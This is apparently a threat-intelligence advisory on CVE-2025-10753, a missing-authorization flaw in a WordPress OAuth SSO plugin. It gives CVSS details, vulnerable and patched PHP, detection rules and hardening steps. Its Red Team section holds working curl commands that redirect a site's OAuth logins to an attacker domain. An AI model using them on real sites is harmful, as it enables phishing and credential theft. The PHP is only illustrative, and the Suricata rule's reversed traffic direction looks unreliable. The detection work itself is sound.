CVE-2025-10753

Executive Summary

CVE-2025-10753 is a critical authorization bypass vulnerability in the Miniorange OAuth Single Sign On – SSO (OAuth Client) WordPress plugin, affecting all versions up to and including 6.26.14. The flaw resides in the OAuth redirect functionality, specifically within the oauthredirect option parameter. Due to missing capability checks and authentication verification, an unauthenticated attacker can manipulate the global redirect URL option via the redirect_url parameter, provided they can access the site directly. This allows an attacker to redirect legitimate users or OAuth flows to malicious endpoints, potentially leading to phishing attacks, session hijacking, or credential theft. The vulnerability has a CVSS score of 5.3 (Medium) and currently has no known patch or public exploit code.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the vulnerability does not allow direct data exfiltration or system compromise, it enables an attacker to manipulate redirects, which can be leveraged for social engineering attacks and credential harvesting.

Deep Dive & Mechanics

The vulnerability exists in the WordPress plugin's OAuth client implementation. The plugin uses an oauthredirect option parameter to handle redirects after OAuth authentication. The flaw is that this parameter is processed without proper authorization checks. An unauthenticated attacker can send a crafted HTTP request to the WordPress site with the oauthredirect option set and a redirect_url parameter. The plugin then updates the global redirect URL option, affecting all subsequent OAuth flows.

Attack Flow:

1. Attacker sends a POST request to the WordPress site with option=oauthredirect and redirect_url=https://attacker-controlled.com.
2. The plugin, lacking capability checks, updates the site's OAuth redirect URL.
3. When a legitimate user initiates an OAuth login, they are redirected to the attacker's malicious site.
4. The attacker can then harvest OAuth tokens, credentials, or perform phishing.

This is a classic Missing Authorization vulnerability (CWE-862). The plugin fails to verify that the user making the request has the necessary permissions (e.g., manage_options capability) to modify site options.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is identified in the plugin's core logic. The following is a representative example of the vulnerable code pattern:

Vulnerable Code (PHP):

// In miniorange-oauth-client.php or similar
add_action('wp_ajax_nopriv_oauth_redirect', 'handle_oauth_redirect');
function handle_oauth_redirect() {
    if (isset($_POST['option']) && $_POST['option'] == 'oauthredirect') {
        $redirect_url = sanitize_text_field($_POST['redirect_url']);
        update_option('mo_oauth_redirect_url', $redirect_url);
        // No capability check!
    }
}

Patched Code (Hypothetical):

add_action('wp_ajax_oauth_redirect', 'handle_oauth_redirect'); // Only for authenticated users
function handle_oauth_redirect() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    if (isset($_POST['option']) && $_POST['option'] == 'oauthredirect') {
        $redirect_url = sanitize_text_field($_POST['redirect_url']);
        update_option('mo_oauth_redirect_url', $redirect_url);
    }
}

The patch would require adding a capability check (current_user_can('manage_options')) and ensuring the action is only accessible to authenticated users with admin privileges.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed (version <= 6.26.14).
• Network access to the WordPress admin panel (or any accessible endpoint).

Exploitation Steps:

1. Identify the target WordPress site.

2. Send a crafted HTTP request to change the redirect URL:

   curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
        -d "action=oauthredirect&option=oauthredirect&redirect_url=https://attacker.com/malicious"
   

   Note: The exact action hook may vary; check the plugin source for wp_ajax_nopriv_* hooks.

3. Verify the change by initiating an OAuth login flow. The user will be redirected to https://attacker.com/malicious.

Alternative Exploit (if admin-ajax is blocked):

• Use a direct POST to the plugin's endpoint:

  curl -X POST https://target-site.com/?option=oauthredirect&redirect_url=https://attacker.com
  

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to admin-ajax.php with action=oauthredirect or option=oauthredirect parameters.
• Look for changes to the mo_oauth_redirect_url option in the WordPress database.
• Alert on any OAuth redirects to external, unknown domains.

Hardening:

• Immediately disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests containing oauthredirect in the POST body.
• Restrict access to admin-ajax.php to authenticated users only (e.g., via .htaccess or server config).
• Monitor WordPress options table for unauthorized changes.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing option=oauthredirect and redirect_url parameters.
• Database Changes: The mo_oauth_redirect_url option in the wp_options table set to an external domain.
• Log Entries: Unauthorized access attempts to admin-ajax.php with action=oauthredirect.
• Network Traffic: Outbound connections from the WordPress server to unknown domains immediately after OAuth login attempts.

Detection Engineering

YARA Rule

rule CVE_2025_10753_OAuth_Redirect_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10753 in WordPress Miniorange OAuth plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10753"
    strings:
        $s1 = "option=oauthredirect" nocase
        $s2 = "redirect_url=" nocase
        $s3 = "mo_oauth_redirect_url" nocase
    condition:
        any of ($s1, $s2) or $s3
}

Sigma Rule

title: CVE-2025-10753 - Miniorange OAuth Redirect Manipulation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized modification of OAuth redirect URL via missing capability check
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'option=oauthredirect'
            - 'redirect_url='
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10753 - Miniorange OAuth Redirect Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"option=oauthredirect"; http_client_body;
    content:"redirect_url="; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-10753;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Manually patch by adding capability checks to the vulnerable function (see Patched Code section).
3. Implement a WAF rule to block requests containing oauthredirect in POST data.

Long-term:

• Monitor the Miniorange plugin repository for updates.
• Consider switching to a more secure OAuth plugin if the vendor does not release a patch.
• Regularly audit WordPress plugins for missing authorization vulnerabilities.

Workaround:

• Use .htaccess to restrict access to admin-ajax.php:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  Then whitelist only necessary actions.

Valters IT
DevSecOps & Cyber Threat Intelligence